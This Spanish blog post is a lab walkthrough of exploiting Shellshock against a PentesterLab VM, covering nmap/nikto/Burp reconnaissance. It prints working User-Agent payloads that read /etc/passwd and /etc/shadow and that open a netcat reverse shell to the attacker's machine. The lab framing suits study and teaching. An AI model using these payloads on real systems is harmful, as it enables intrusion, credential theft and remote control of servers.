SHELLSHOCK

Buenas a todos!, en el post de hoy explotaremos la vulnerabilidad CVE-2014-6271 y CVE-2014-7169 llamada SHELLSHOCK, se trata de un fallo de seguridad descubierto en 2014, el cual afecta a la interfaz de comandos BASH, desde la versión 1.14 hasta la versión 4.3 y a  los sistemas UNIX, Linux y OS X.

El fallo reside en la definición de funciones en una variable de entorno y en este ejemplo en concreto tenemos conocimiento que los servidores Apache transforman las cabeceras en variables de entorno y por lo tanto explotaremos dicha vulnerabilidad en la cabecera del User-Agent.

Para declarar una función en BASH usaremos:

 () { :;};’  función vacía

 () { :;}; echo \$(</etc/passwd)  función que mostraría el contenido de la carpeta /etc/ y en concreto el fichero passwd. Esto se debe a las versiones de BASH anteriormente citadas, las cuales no finalizan dicha función en el último punto y coma, ejecutando así la orden posterior.

Después de este tostón, vamos a ponernos manos a la obra :D.

Recursos y software utilizado:

Kali Linux 2.0

Burpsuite

VirtualBox

CVE-2014-6271/Shellshock (ISO de Pentesterlab)

Guía de explotación:

Lo primero de todo será arrancar las dos máquinas virtuales siempre en “Host only Adapter”, recordad que este paso es importante, ya que no estamos expuestos a la red mientras realizamos el proof of concept. Acto seguido realizaremos ping <IP> para confirmar que tenemos conexión entre ambas. Con este comando también obtendremos las dos correspondientes IP’s de las máquinas atacante y vulnerable para así poder empezar el escaneo.

Como vemos en la primera imagen, utilizamos NMAP para realizar un escaneo y concretar los servicios activos corriendo en la máquina virtual vulnerable. En esta ocasión observamos que en el puerto 80 (normalmente utilizado para servicios web) está corriendo un servidor Apache y su correspondiente versión.

nmapscan.png

Para comprobar dicha información obtenida nos iremos a nuestro navegador y en la barra de direcciones pondremos la dirección IP de la máquina vulnerable y observaremos los resultados obtenidos.

serviciocorriendo.png

Buenas noticias!, tenemos servicio corriendo, por lo tanto, utilizaremos un programa que a mi parecer es uno de los mejores escaneadores de servidores web, el “grandioso” NIKTO.

niktoscan.png

Como podéis observar en la zona subrayada, la aplicación que está corriendo en el puerto 80 es vulnerable a “SHELLSHOCK”.

Ahora viene la parte dónde hay que buscar algún método que nos permita interactuar con la interfaz de comandos de la máquina vulnerable, para ello utilizaremos Burpsuite y en concreto su función “spider” para realizar un spidering del sitio y ver que motor utiliza ese servidor, para dar sus servicios web.

cgi-bin.png

La búsqueda nos devuelve un resultado espectacular el motor que utiliza el servidor web es CGI (Common Gateway Interface), lo que quiere decir que las aplicaciones CGI se ejecutan directamente desde el sistema operativo permitiéndonos trastear con la interfaz de comandos.

Ahora procederemos a la explotación de la vulnerabilidad, como tenemos conocimiento por el escaneo realizado por NMAP que es un servidor Apache y transforma las cabeceras en variables de entorno, nos pondremos manos a la obra y reventaremos el User-Agent :D..

Aquí llegado este punto podemos utilizar el proxy de Burpsuite y su repeater para ir probando payloads de manera mucho más rápida, pero nosotros nos iremos a la parte más “complicada” y explicaremos parte a parte el payload utilizado para que sea más comprensible:

PAYLOAD: echo -e “HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: 192.168.240.100\r\nConnection: close\r\n\r\n” | nc 192.168.240.100 80

Como podemos observer el payload está dividido en las cabeceras HTTP más comunes, ya que sabemos que Apache las transforma en variables de entorno:

HEAD: /cgi-bin/status HTTP/1.1

User-Agent: : () { :;}; echo \$(</etc/passwd) , aquí como hemos descrito antes, le pasamos la función que Apache convierte en variable de entorno y al no finalizar después del punto y coma último, éste ejecuta todo el bloque de comandos, que en este caso nos mostrará el archivo passwd, contenido en la carpeta /etc/.

Host: IP de la máquina vulnerable

Connection: close

Y como último paso utilizaremos: | nc IP 192.168.240.100 80, para que nos muestre los resultados, en la imagen de abajo podemos observar los resultados.

exploitconetcyshadow.png

En la primera línea visualizamos el /etc/passwd y en la segunda otro archivo “goloso” el /etc/shadow, 😀

Una vez los resultados son positivos y explicadas las cabeceras, procederemos (como buenos hackers que somos) a conectarnos mediante una reverse shell, y os preguntareís.. ¿porqué una reverse shell y no una bind shell?, básicamente porque una bind shell conecta al puerto atacado de la víctima, el cual puede estar protegido por un firewall y al traste la operación!. En cambio una reverse shell conecta desde la máquina atacante a un puerto nuestro por lo cual tendríamos un bypass al firewall muy, pero que muy bonito :D.

Dejamos nuestro netcat escuchando: nc -l -p 443

Ejecutamos el payload: echo -e “HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.240.101 443 -e /bin/sh\r\nHost:192.168.240.100\r\nConnection: close\r\n\r\n” | nc 192.168.240.100 80  y……..

reverseshell.png

….. . VOILA ACCESS GRANTED! en la máquina vulnerable :D, hasta aquí la explotación del maravilloso SHELLSHOCK, espero que os haya gustado! Cualquier duda o sugerencia tenéis mi email y sino en comments de la página, saludos!.

Anuncios

Deja un comentario